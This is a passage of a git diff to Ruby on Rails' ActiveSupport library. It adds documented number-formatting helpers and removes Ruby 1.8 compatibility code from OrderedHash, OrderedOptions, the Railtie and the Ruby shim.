+    # ==== Examples
+    #
+    #   number_to_phone(5551234)                                     # => 555-1234
+    #   number_to_phone("5551234")                                   # => 555-1234
+    #   number_to_phone(1235551234)                                  # => 123-555-1234
+    #   number_to_phone(1235551234, area_code: true)                 # => (123) 555-1234
+    #   number_to_phone(1235551234, delimiter: ' ')                  # => 123 555 1234
+    #   number_to_phone(1235551234, area_code: true, extension: 555) # => (123) 555-1234 x 555
+    #   number_to_phone(1235551234, country_code: 1)                 # => +1-123-555-1234
+    #   number_to_phone("123a456")                                   # => 123a456
+    #
+    #   number_to_phone(1235551234, country_code: 1, extension: 1343, delimiter: '.')
+    #   # => +1.123.555.1234 x 1343
+    def number_to_phone(number, options = {})
+      return unless number
+      options = options.symbolize_keys
+
+      number       = number.to_s.strip
+      area_code    = options[:area_code]
+      delimiter    = options[:delimiter] || "-"
+      extension    = options[:extension]
+      country_code = options[:country_code]
+
+      if area_code
+        number.gsub!(/(\d{1,3})(\d{3})(\d{4}$)/,"(\\1) \\2#{delimiter}\\3")
+      else
+        number.gsub!(/(\d{0,3})(\d{3})(\d{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+        number.slice!(0, 1) if number.start_with?(delimiter) && !delimiter.blank?
+      end
+
+      str = ''
+      str << "+#{country_code}#{delimiter}" unless country_code.blank?
+      str << number
+      str << " x #{extension}" unless extension.blank?
+      str
+    end
+
+    # Formats a +number+ into a currency string (e.g., $13.65). You
+    # can customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the level of precision (defaults
+    #   to 2).
+    # * <tt>:unit</tt> - Sets the denomination of the currency
+    #   (defaults to "$").
+    # * <tt>:separator</tt> - Sets the separator between the units
+    #   (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to ",").
+    # * <tt>:format</tt> - Sets the format for non-negative numbers
+    #   (defaults to "%u%n").  Fields are <tt>%u</tt> for the
+    #   currency, and <tt>%n</tt> for the number.
+    # * <tt>:negative_format</tt> - Sets the format for negative
+    #   numbers (defaults to prepending an hyphen to the formatted
+    #   number given by <tt>:format</tt>).  Accepts the same fields
+    #   than <tt>:format</tt>, except <tt>%n</tt> is here the
+    #   absolute value of the number.
+    #
+    # ==== Examples
+    #
+    #   number_to_currency(1234567890.50)                # => $1,234,567,890.50
+    #   number_to_currency(1234567890.506)               # => $1,234,567,890.51
+    #   number_to_currency(1234567890.506, precision: 3) # => $1,234,567,890.506
+    #   number_to_currency(1234567890.506, locale: :fr)  # => 1 234 567 890,51 €
+    #   number_to_currency('123a456')                    # => $123a456
+    #
+    #   number_to_currency(-1234567890.50, negative_format: '(%u%n)')
+    #   # => ($1,234,567,890.50)
+    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '')
+    #   # => &pound;1234567890,50
+    #   number_to_currency(1234567890.50, unit: '&pound;', separator: ',', delimiter: '', format: '%n %u')
+    #   # => 1234567890,50 &pound;
+    def number_to_currency(number, options = {})
+      return unless number
+      options = options.symbolize_keys
+
+      currency = i18n_format_options(options[:locale], :currency)
+      currency[:negative_format] ||= "-" + currency[:format] if currency[:format]
+
+      defaults  = default_format_options(:currency).merge!(currency)
+      defaults[:negative_format] = "-" + options[:format] if options[:format]
+      options   = defaults.merge!(options)
+
+      unit      = options.delete(:unit)
+      format    = options.delete(:format)
+
+      if number.to_f.phase != 0
+        format = options.delete(:negative_format)
+        number = number.respond_to?("abs") ? number.abs : number.sub(/^-/, '')
+      end
+
+      format.gsub('%n', self.number_to_rounded(number, options)).gsub('%u', unit)
+    end
+
+    # Formats a +number+ as a percentage string (e.g., 65%). You can
+    # customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the #
+    #   of significant_digits. If +false+, the # of fractional
+    #   digits (defaults to +false+).
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +false+).
+    # * <tt>:format</tt> - Specifies the format of the percentage
+    #   string The number field is <tt>%n</tt> (defaults to "%n%").
+    #
+    # ==== Examples
+    #
+    #   number_to_percentage(100)                                 # => 100.000%
+    #   number_to_percentage('98')                                # => 98.000%
+    #   number_to_percentage(100, precision: 0)                   # => 100%
+    #   number_to_percentage(1000, delimiter: '.', separator: ,') # => 1.000,000%
+    #   number_to_percentage(302.24398923423, precision: 5)       # => 302.24399%
+    #   number_to_percentage(1000, :locale => :fr)                # => 1 000,000%
+    #   number_to_percentage('98a')                               # => 98a%
+    #   number_to_percentage(100, format: '%n  %')                # => 100  %
+    def number_to_percentage(number, options = {})
+      return unless number
+      options = options.symbolize_keys
+
+      defaults = format_options(options[:locale], :percentage)
+      options  = defaults.merge!(options)
+
+      format = options[:format] || "%n%"
+      format.gsub('%n', self.number_to_rounded(number, options))
+    end
+
+    # Formats a +number+ with grouped thousands using +delimiter+
+    # (e.g., 12,324). You can customize the format in the +options+
+    # hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to ",").
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    #
+    # ==== Examples
+    #
+    #   number_to_delimited(12345678)                    # => 12,345,678
+    #   number_to_delimited('123456')                    # => 123,456
+    #   number_to_delimited(12345678.05)                 # => 12,345,678.05
+    #   number_to_delimited(12345678, delimiter: '.')    # => 12.345.678
+    #   number_to_delimited(12345678, delimiter: ',')    # => 12,345,678
+    #   number_to_delimited(12345678.05, separator: ' ') # => 12,345,678 05
+    #   number_to_delimited(12345678.05, locale: :fr)    # => 12 345 678,05
+    #   number_to_delimited('112a')                      # => 112a
+    #   number_to_delimited(98765432.98, delimiter: ' ', separator: ',')
+    #   # => 98 765 432,98
+    def number_to_delimited(number, options = {})
+      options = options.symbolize_keys
+
+      return number unless valid_float?(number)
+
+      options = format_options(options[:locale]).merge!(options)
+
+      parts = number.to_s.to_str.split('.')
+      parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{options[:delimiter]}")
+      parts.join(options[:separator])
+    end
+
+    # Formats a +number+ with the specified level of
+    # <tt>:precision</tt> (e.g., 112.32 has a precision of 2 if
+    # +:significant+ is +false+, and 5 if +:significant+ is +true+).
+    # You can customize the format in the +options+ hash.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the #
+    #   of significant_digits. If +false+, the # of fractional
+    #   digits (defaults to +false+).
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +false+).
+    #
+    # ==== Examples
+    #
+    #   number_to_rounded(111.2345)                                  # => 111.235
+    #   number_to_rounded(111.2345, precision: 2)                    # => 111.23
+    #   number_to_rounded(13, precision: 5)                          # => 13.00000
+    #   number_to_rounded(389.32314, precision: 0)                   # => 389
+    #   number_to_rounded(111.2345, significant: true)               # => 111
+    #   number_to_rounded(111.2345, precision: 1, significant: true) # => 100
+    #   number_to_rounded(13, precision: 5, significant: true)       # => 13.000
+    #   number_to_rounded(111.234, locale: :fr)                      # => 111,234
+    #
+    #   number_to_rounded(13, precision: 5, significant: true, strip_insignificant_zeros: true)
+    #   # => 13
+    #
+    #   number_to_rounded(389.32314, precision: 4, significant: true) # => 389.3
+    #   number_to_rounded(1111.2345, precision: 2, separator: ',', delimiter: '.')
+    #   # => 1.111,23
+    def number_to_rounded(number, options = {})
+      return number unless valid_float?(number)
+      number  = Float(number)
+      options = options.symbolize_keys
+
+      defaults = format_options(options[:locale], :precision)
+      options  = defaults.merge!(options)
+
+      precision = options.delete :precision
+      significant = options.delete :significant
+      strip_insignificant_zeros = options.delete :strip_insignificant_zeros
+
+      if significant && precision > 0
+        if number == 0
+          digits, rounded_number = 1, 0
+        else
+          digits = (Math.log10(number.abs) + 1).floor
+          rounded_number = (BigDecimal.new(number.to_s) / BigDecimal.new((10 ** (digits - precision)).to_f.to_s)).round.to_f * 10 ** (digits - precision)
+          digits = (Math.log10(rounded_number.abs) + 1).floor # After rounding, the number of digits may have changed
+        end
+        precision -= digits
+        precision = 0 if precision < 0 # don't let it be negative
+      else
+        rounded_number = BigDecimal.new(number.to_s).round(precision).to_f
+        rounded_number = rounded_number.abs if rounded_number.zero? # prevent showing negative zeros
+      end
+      formatted_number = self.number_to_delimited("%01.#{precision}f" % rounded_number, options)
+      if strip_insignificant_zeros
+        escaped_separator = Regexp.escape(options[:separator])
+        formatted_number.sub(/(#{escaped_separator})(\d*[1-9])?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '')
+      else
+        formatted_number
+      end
+    end
+
+    # Formats the bytes in +number+ into a more understandable
+    # representation (e.g., giving it 1500 yields 1.5 KB). This
+    # method is useful for reporting file sizes to users. You can
+    # customize the format in the +options+ hash.
+    #
+    # See <tt>number_to_human</tt> if you want to pretty-print a
+    # generic number.
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the #
+    #   of significant_digits. If +false+, the # of fractional
+    #   digits (defaults to +true+)
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +true+)
+    # * <tt>:prefix</tt> - If +:si+ formats the number using the SI
+    #   prefix (defaults to :binary)
+    #
+    # ==== Examples
+    #
+    #   number_to_human_size(123)                                    # => 123 Bytes
+    #   number_to_human_size(1234)                                   # => 1.21 KB
+    #   number_to_human_size(12345)                                  # => 12.1 KB
+    #   number_to_human_size(1234567)                                # => 1.18 MB
+    #   number_to_human_size(1234567890)                             # => 1.15 GB
+    #   number_to_human_size(1234567890123)                          # => 1.12 TB
+    #   number_to_human_size(1234567, precision: 2)                  # => 1.2 MB
+    #   number_to_human_size(483989, precision: 2)                   # => 470 KB
+    #   number_to_human_size(1234567, precision: 2, separator: ',')  # => 1,2 MB
+    #
+    # Non-significant zeros after the fractional separator are stripped out by
+    # default (set <tt>:strip_insignificant_zeros</tt> to +false+ to change that):
+    #
+    #   number_to_human_size(1234567890123, precision: 5) # => "1.1229 TB"
+    #   number_to_human_size(524288000, precision: 5)     # => "500 MB"
+    def number_to_human_size(number, options = {})
+      options = options.symbolize_keys
+
+      return number unless valid_float?(number)
+      number = Float(number)
+
+      defaults = format_options(options[:locale], :human)
+      options  = defaults.merge!(options)
+
+      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
+
+      storage_units_format = translate_number_value_with_default('human.storage_units.format', :locale => options[:locale], :raise => true)
+
+      base = options[:prefix] == :si ? 1000 : 1024
+
+      if number.to_i < base
+        unit = translate_number_value_with_default('human.storage_units.units.byte', :locale => options[:locale], :count => number.to_i, :raise => true)
+        storage_units_format.gsub(/%n/, number.to_i.to_s).gsub(/%u/, unit)
+      else
+        max_exp  = STORAGE_UNITS.size - 1
+        exponent = (Math.log(number) / Math.log(base)).to_i # Convert to base
+        exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
+        number  /= base ** exponent
+
+        unit_key = STORAGE_UNITS[exponent]
+        unit = translate_number_value_with_default("human.storage_units.units.#{unit_key}", :locale => options[:locale], :count => number, :raise => true)
+
+        formatted_number = self.number_to_rounded(number, options)
+        storage_units_format.gsub(/%n/, formatted_number).gsub(/%u/, unit)
+      end
+    end
+
+    # Pretty prints (formats and approximates) a number in a way it
+    # is more readable by humans (eg.: 1200000000 becomes "1.2
+    # Billion"). This is useful for numbers that can get very large
+    # (and too hard to read).
+    #
+    # See <tt>number_to_human_size</tt> if you want to print a file
+    # size.
+    #
+    # You can also define you own unit-quantifier names if you want
+    # to use other decimal units (eg.: 1500 becomes "1.5
+    # kilometers", 0.150 becomes "150 milliliters", etc). You may
+    # define a wide range of unit quantifiers, even fractional ones
+    # (centi, deci, mili, etc).
+    #
+    # ==== Options
+    #
+    # * <tt>:locale</tt> - Sets the locale to be used for formatting
+    #   (defaults to current locale).
+    # * <tt>:precision</tt> - Sets the precision of the number
+    #   (defaults to 3).
+    # * <tt>:significant</tt> - If +true+, precision will be the #
+    #   of significant_digits. If +false+, the # of fractional
+    #   digits (defaults to +true+)
+    # * <tt>:separator</tt> - Sets the separator between the
+    #   fractional and integer digits (defaults to ".").
+    # * <tt>:delimiter</tt> - Sets the thousands delimiter (defaults
+    #   to "").
+    # * <tt>:strip_insignificant_zeros</tt> - If +true+ removes
+    #   insignificant zeros after the decimal separator (defaults to
+    #   +true+)
+    # * <tt>:units</tt> - A Hash of unit quantifier names. Or a
+    #   string containing an i18n scope where to find this hash. It
+    #   might have the following keys:
+    #   * *integers*: <tt>:unit</tt>, <tt>:ten</tt>,
+    #     *<tt>:hundred</tt>, <tt>:thousand</tt>, <tt>:million</tt>,
+    #     *<tt>:billion</tt>, <tt>:trillion</tt>,
+    #     *<tt>:quadrillion</tt>
+    #   * *fractionals*: <tt>:deci</tt>, <tt>:centi</tt>,
+    #     *<tt>:mili</tt>, <tt>:micro</tt>, <tt>:nano</tt>,
+    #     *<tt>:pico</tt>, <tt>:femto</tt>
+    # * <tt>:format</tt> - Sets the format of the output string
+    #   (defaults to "%n %u"). The field types are:
+    #   * %u - The quantifier (ex.: 'thousand')
+    #   * %n - The number
+    #
+    # ==== Examples
+    #
+    #   number_to_human(123)                         # => "123"
+    #   number_to_human(1234)                        # => "1.23 Thousand"
+    #   number_to_human(12345)                       # => "12.3 Thousand"
+    #   number_to_human(1234567)                     # => "1.23 Million"
+    #   number_to_human(1234567890)                  # => "1.23 Billion"
+    #   number_to_human(1234567890123)               # => "1.23 Trillion"
+    #   number_to_human(1234567890123456)            # => "1.23 Quadrillion"
+    #   number_to_human(1234567890123456789)         # => "1230 Quadrillion"
+    #   number_to_human(489939, precision: 2)        # => "490 Thousand"
+    #   number_to_human(489939, precision: 4)        # => "489.9 Thousand"
+    #   number_to_human(1234567, precision: 4,
+    #                            significant: false) # => "1.2346 Million"
+    #   number_to_human(1234567, precision: 1,
+    #                            separator: ',',
+    #                            significant: false) # => "1,2 Million"
+    #
+    # Non-significant zeros after the decimal separator are stripped
+    # out by default (set <tt>:strip_insignificant_zeros</tt> to
+    # +false+ to change that):
+    #
+    #   number_to_human(12345012345, significant_digits: 6) # => "12.345 Billion"
+    #   number_to_human(500000000, precision: 5)            # => "500 Million"
+    #
+    # ==== Custom Unit Quantifiers
+    #
+    # You can also use your own custom unit quantifiers:
+    #  number_to_human(500000, :units => {:unit => "ml", :thousand => "lt"})  # => "500 lt"
+    #
+    # If in your I18n locale you have:
+    #
+    #   distance:
+    #     centi:
+    #       one: "centimeter"
+    #       other: "centimeters"
+    #     unit:
+    #       one: "meter"
+    #       other: "meters"
+    #     thousand:
+    #       one: "kilometer"
+    #       other: "kilometers"
+    #     billion: "gazillion-distance"
+    #
+    # Then you could do:
+    #
+    #   number_to_human(543934, :units => :distance)               # => "544 kilometers"
+    #   number_to_human(54393498, :units => :distance)             # => "54400 kilometers"
+    #   number_to_human(54393498000, :units => :distance)          # => "54.4 gazillion-distance"
+    #   number_to_human(343, :units => :distance, :precision => 1) # => "300 meters"
+    #   number_to_human(1, :units => :distance)                    # => "1 meter"
+    #   number_to_human(0.34, :units => :distance)                 # => "34 centimeters"
+    def number_to_human(number, options = {})
+      options = options.symbolize_keys
+
+      return number unless valid_float?(number)
+      number = Float(number)
+
+      defaults = format_options(options[:locale], :human)
+      options  = defaults.merge!(options)
+
+      #for backwards compatibility with those that didn't add strip_insignificant_zeros to their locale files
+      options[:strip_insignificant_zeros] = true if not options.key?(:strip_insignificant_zeros)
+
+      inverted_du = DECIMAL_UNITS.invert
+
+      units = options.delete :units
+      unit_exponents = case units
+      when Hash
+        units
+      when String, Symbol
+        I18n.translate(:"#{units}", :locale => options[:locale], :raise => true)
+      when nil
+        translate_number_value_with_default("human.decimal_units.units", :locale => options[:locale], :raise => true)
+      else
+        raise ArgumentError, ":units must be a Hash or String translation scope."
+      end.keys.map{|e_name| inverted_du[e_name] }.sort_by{|e| -e}
+
+      number_exponent = number != 0 ? Math.log10(number.abs).floor : 0
+      display_exponent = unit_exponents.find{ |e| number_exponent >= e } || 0
+      number  /= 10 ** display_exponent
+
+      unit = case units
+      when Hash
+        units[DECIMAL_UNITS[display_exponent]]
+      when String, Symbol
+        I18n.translate(:"#{units}.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+      else
+        translate_number_value_with_default("human.decimal_units.units.#{DECIMAL_UNITS[display_exponent]}", :locale => options[:locale], :count => number.to_i)
+      end
+
+      decimal_format = options[:format] || translate_number_value_with_default('human.decimal_units.format', :locale => options[:locale])
+      formatted_number = self.number_to_rounded(number, options)
+      decimal_format.gsub(/%n/, formatted_number).gsub(/%u/, unit).strip
+    end
+
+    def self.private_module_and_instance_method(method_name) #:nodoc:
+      private method_name
+      private_class_method method_name
+    end
+    private_class_method :private_module_and_instance_method
+
+    def format_options(locale, namespace = nil) #:nodoc:
+      default_format_options(namespace).merge!(i18n_format_options(locale, namespace))
+    end
+    private_module_and_instance_method :format_options
+
+    def default_format_options(namespace = nil) #:nodoc:
+      options = DEFAULTS[:format].dup
+      options.merge!(DEFAULTS[namespace][:format]) if namespace
+      options
+    end
+    private_module_and_instance_method :default_format_options
+
+    def i18n_format_options(locale, namespace = nil) #:nodoc:
+      options = I18n.translate(:'number.format', locale: locale, default: {}).dup
+      if namespace
+        options.merge!(I18n.translate(:"number.#{namespace}.format", locale: locale, default: {}))
+      end
+      options
+    end
+    private_module_and_instance_method :i18n_format_options
+
+    def translate_number_value_with_default(key, i18n_options = {}) #:nodoc:
+      default = key.split('.').reduce(DEFAULTS) { |defaults, k| defaults[k.to_sym] }
+
+      I18n.translate(key, { default: default, scope: :number }.merge!(i18n_options))
+    end
+    private_module_and_instance_method :translate_number_value_with_default
+
+    def valid_float?(number) #:nodoc:
+      Float(number)
+    rescue ArgumentError, TypeError
+      false
+    end
+    private_module_and_instance_method :valid_float?
+  end
+end
diff --git a/activesupport/lib/active_support/ordered_hash.rb b/activesupport/lib/active_support/ordered_hash.rb
index 0264133581..1a3693f766 100644
--- a/activesupport/lib/active_support/ordered_hash.rb
+++ b/activesupport/lib/active_support/ordered_hash.rb
@@ -1,8 +1,3 @@
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'yaml'
 
 YAML.add_builtin_type("omap") do |type, val|
@@ -10,17 +5,21 @@ YAML.add_builtin_type("omap") do |type, val|
 end
 
 module ActiveSupport
-  # The order of iteration over hashes in Ruby 1.8 is undefined. For example, you do not know the
-  # order in which +keys+ will return keys, or +each+ yield pairs. <tt>ActiveSupport::OrderedHash</tt>
-  # implements a hash that preserves insertion order, as in Ruby 1.9:
+  # <tt>ActiveSupport::OrderedHash</tt> implements a hash that preserves
+  # insertion order.
   #
   #   oh = ActiveSupport::OrderedHash.new
   #   oh[:a] = 1
   #   oh[:b] = 2
   #   oh.keys # => [:a, :b], this order is guaranteed
   #
-  # <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts with other implementations.
-  class OrderedHash < ::Hash #:nodoc:
+  # Also, maps the +omap+ feature for YAML files
+  # (See http://yaml.org/type/omap.html) to support ordered items
+  # when loading from yaml.
+  #
+  # <tt>ActiveSupport::OrderedHash</tt> is namespaced to prevent conflicts
+  # with other implementations.
+  class OrderedHash < ::Hash
     def to_yaml_type
       "!tag:yaml.org,2002:omap"
     end
@@ -29,20 +28,6 @@ module ActiveSupport
       coder.represent_seq '!omap', map { |k,v| { k => v } }
     end
 
-    def to_yaml(opts = {})
-      if YAML.const_defined?(:ENGINE) && !YAML::ENGINE.syck?
-        return super
-      end
-
-      YAML.quick_emit(self, opts) do |out|
-        out.seq(taguri) do |seq|
-          each do |k, v|
-            seq.add(k => v)
-          end
-        end
-      end
-    end
-
     def nested_under_indifferent_access
       self
     end
@@ -51,172 +36,5 @@ module ActiveSupport
     def extractable_options?
       true
     end
-
-    # Hash is ordered in Ruby 1.9!
-    if RUBY_VERSION < '1.9'
-
-      # In MRI the Hash class is core and written in C. In particular, methods are
-      # programmed with explicit C function calls and polymorphism is not honored.
-      #
-      # For example, []= is crucial in this implementation to maintain the @keys
-      # array but hash.c invokes rb_hash_aset() originally. This prevents method
-      # reuse through inheritance and forces us to reimplement stuff.
-      #
-      # For instance, we cannot use the inherited #merge! because albeit the algorithm
-      # itself would work, our []= is not being called at all by the C code.
-
-      def initialize(*args, &block)
-        super
-        @keys = []
-      end
-
-      def self.[](*args)
-        ordered_hash = new
-
-        if (args.length == 1 && args.first.is_a?(Array))
-          args.first.each do |key_value_pair|
-            next unless (key_value_pair.is_a?(Array))
-            ordered_hash[key_value_pair[0]] = key_value_pair[1]
-          end
-
-          return ordered_hash
-        end
-
-        unless (args.size % 2 == 0)
-          raise ArgumentError.new("odd number of arguments for Hash")
-        end
-
-        args.each_with_index do |val, ind|
-          next if (ind % 2 != 0)
-          ordered_hash[val] = args[ind + 1]
-        end
-
-        ordered_hash
-      end
-
-      def initialize_copy(other)
-        super
-        # make a deep copy of keys
-        @keys = other.keys
-      end
-
-      def []=(key, value)
-        @keys << key unless has_key?(key)
-        super
-      end
-
-      def delete(key)
-        if has_key? key
-          index = @keys.index(key)
-          @keys.delete_at index
-        end
-        super
-      end
-
-      def delete_if
-        super
-        sync_keys!
-        self
-      end
-
-      def reject!
-        super
-        sync_keys!
-        self
-      end
-
-      def reject(&block)
-        dup.reject!(&block)
-      end
-
-      def keys
-        @keys.dup
-      end
-
-      def values
-        @keys.collect { |key| self[key] }
-      end
-
-      def to_hash
-        self
-      end
-
-      def to_a
-        @keys.map { |key| [ key, self[key] ] }
-      end
-
-      def each_key
-        return to_enum(:each_key) unless block_given?
-        @keys.each { |key| yield key }
-        self
-      end
-
-      def each_value
-        return to_enum(:each_value) unless block_given?
-        @keys.each { |key| yield self[key]}
-        self
-      end
-
-      def each
-        return to_enum(:each) unless block_given?
-        @keys.each {|key| yield [key, self[key]]}
-        self
-      end
-
-      def each_pair
-        return to_enum(:each_pair) unless block_given?
-        @keys.each {|key| yield key, self[key]}
-        self
-      end
-
-      alias_method :select, :find_all
-
-      def clear
-        super
-        @keys.clear
-        self
-      end
-
-      def shift
-        k = @keys.first
-        v = delete(k)
-        [k, v]
-      end
-
-      def merge!(other_hash)
-        if block_given?
-          other_hash.each { |k, v| self[k] = key?(k) ? yield(k, self[k], v) : v }
-        else
-          other_hash.each { |k, v| self[k] = v }
-        end
-        self
-      end
-
-      alias_method :update, :merge!
-
-      def merge(other_hash, &block)
-        dup.merge!(other_hash, &block)
-      end
-
-      # When replacing with another hash, the initial order of our keys must come from the other hash -ordered or not.
-      def replace(other)
-        super
-        @keys = other.keys
-        self
-      end
-
-      def invert
-        OrderedHash[self.to_a.map!{|key_value_pair| key_value_pair.reverse}]
-      end
-
-      def inspect
-        "#<OrderedHash #{super}>"
-      end
-
-      private
-        def sync_keys!
-          @keys.delete_if {|k| !has_key?(k)}
-        end
-    end
   end
 end
diff --git a/activesupport/lib/active_support/ordered_options.rb b/activesupport/lib/active_support/ordered_options.rb
index bf81567d22..60e6cd55ad 100644
--- a/activesupport/lib/active_support/ordered_options.rb
+++ b/activesupport/lib/active_support/ordered_options.rb
@@ -1,5 +1,3 @@
-require 'active_support/ordered_hash'
-
 # Usually key value pairs are handled something like this:
 #
 #   h = {}
@@ -17,7 +15,7 @@ require 'active_support/ordered_hash'
 #   h.girl # => 'Mary'
 #
 module ActiveSupport #:nodoc:
-  class OrderedOptions < OrderedHash
+  class OrderedOptions < Hash
     alias_method :_get, :[] # preserve the original #[] method
     protected :_get # make it protected
 
@@ -30,14 +28,15 @@ module ActiveSupport #:nodoc:
     end
 
     def method_missing(name, *args)
-      if name.to_s =~ /(.*)=$/
-        self[$1] = args.first
+      name_string = name.to_s
+      if name_string.chomp!('=')
+        self[name_string] = args.first
       else
         self[name]
       end
     end
 
-    def respond_to?(name)
+    def respond_to_missing?(name, include_private)
       true
     end
   end
diff --git a/activesupport/lib/active_support/rails.rb b/activesupport/lib/active_support/rails.rb
new file mode 100644
index 0000000000..b05c3ff126
--- /dev/null
+++ b/activesupport/lib/active_support/rails.rb
@@ -0,0 +1,27 @@
+# This is private interface.
+#
+# Rails components cherry pick from Active Support as needed, but there are a
+# few features that are used for sure some way or another and it is not worth
+# to put individual requires absolutely everywhere. Think blank? for example.
+#
+# This file is loaded by every Rails component except Active Support itself,
+# but it does not belong to the Rails public interface. It is internal to
+# Rails and can change anytime.
+
+# Defines Object#blank? and Object#present?.
+require 'active_support/core_ext/object/blank'
+
+# Rails own autoload, eager_load, etc.
+require 'active_support/dependencies/autoload'
+
+# Support for ClassMethods and the included macro.
+require 'active_support/concern'
+
+# Defines Class#class_attribute.
+require 'active_support/core_ext/class/attribute'
+
+# Defines Module#delegate.
+require 'active_support/core_ext/module/delegation'
+
+# Defines ActiveSupport::Deprecation.
+require 'active_support/deprecation'
diff --git a/activesupport/lib/active_support/railtie.rb b/activesupport/lib/active_support/railtie.rb
index 1638512af0..aa8d408da9 100644
--- a/activesupport/lib/active_support/railtie.rb
+++ b/activesupport/lib/active_support/railtie.rb
@@ -5,39 +5,11 @@ module ActiveSupport
   class Railtie < Rails::Railtie
     config.active_support = ActiveSupport::OrderedOptions.new
 
-    # Loads support for "whiny nil" (noisy warnings when methods are invoked
-    # on +nil+ values) if Configuration#whiny_nils is true.
-    initializer "active_support.initialize_whiny_nils" do |app|
-      require 'active_support/whiny_nil' if app.config.whiny_nils
-    end
+    config.eager_load_namespaces << ActiveSupport
 
     initializer "active_support.deprecation_behavior" do |app|
       if deprecation = app.config.active_support.deprecation
         ActiveSupport::Deprecation.behavior = deprecation
-      else
-        defaults = {"development" => :log,
-                    "production"  => :notify,
-                    "test"        => :stderr}
-
-        env = Rails.env
-
-        if defaults.key?(env)
-          msg = "You did not specify how you would like Rails to report " \
-                "deprecation notices for your #{env} environment, please " \
-                "set config.active_support.deprecation to :#{defaults[env]} " \
-                "at config/environments/#{env}.rb"
-
-          warn msg
-          ActiveSupport::Deprecation.behavior = defaults[env]
-        else
-          msg = "You did not specify how you would like Rails to report " \
-                "deprecation notices for your #{env} environment, please " \
-                "set config.active_support.deprecation to :log, :notify or " \
-                ":stderr at config/environments/#{env}.rb"
-
-          warn msg
-          ActiveSupport::Deprecation.behavior = :stderr
-        end
       end
     end
 
@@ -48,12 +20,18 @@ module ActiveSupport
       zone_default = Time.find_zone!(app.config.time_zone)
 
       unless zone_default
-        raise \
-          'Value assigned to config.time_zone not recognized.' +
+        raise 'Value assigned to config.time_zone not recognized. ' \
           'Run "rake -D time" for a list of tasks for finding appropriate time zone names.'
       end
 
       Time.zone_default = zone_default
     end
+
+    initializer "active_support.set_configs" do |app|
+      app.config.active_support.each do |k, v|
+        k = "#{k}="
+        ActiveSupport.send(k, v) if ActiveSupport.respond_to? k
+      end
+    end
   end
 end
diff --git a/activesupport/lib/active_support/rescuable.rb b/activesupport/lib/active_support/rescuable.rb
index 0f4a06468a..7aecdd11d3 100644
--- a/activesupport/lib/active_support/rescuable.rb
+++ b/activesupport/lib/active_support/rescuable.rb
@@ -48,6 +48,7 @@ module ActiveSupport
       #       end
       #   end
       #
+      # Exceptions raised inside exception handlers are not propagated up.
       def rescue_from(*klasses, &block)
         options = klasses.extract_options!
 
@@ -108,7 +109,11 @@ module ActiveSupport
       when Symbol
         method(rescuer)
       when Proc
-        rescuer.bind(self)
+        if rescuer.arity == 0
+          Proc.new { instance_exec(&rescuer) }
+        else
+          Proc.new { |_exception| instance_exec(_exception, &rescuer) }
+        end
       end
     end
   end
diff --git a/activesupport/lib/active_support/ruby/shim.rb b/activesupport/lib/active_support/ruby/shim.rb
deleted file mode 100644
index 608b3fe4b9..0000000000
--- a/activesupport/lib/active_support/ruby/shim.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# Backported Ruby builtins so you can code with the latest & greatest
-# but still run on any Ruby 1.8.x.
-#
-# Date        next_year, next_month
-# DateTime    to_date, to_datetime, xmlschema
-# Enumerable  group_by, each_with_object, none?
-# Process     Process.daemon
-# REXML       security fix
-# String      ord
-# Time        to_date, to_time, to_datetime
-require 'active_support'
-require 'active_support/core_ext/date/calculations'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/enumerable'
-require 'active_support/core_ext/process/daemon'
-require 'active_support/core_ext/string/conversions'
-require 'active_support/core_ext/string/interpolation'
-require 'active_support/core_ext/string/encoding'
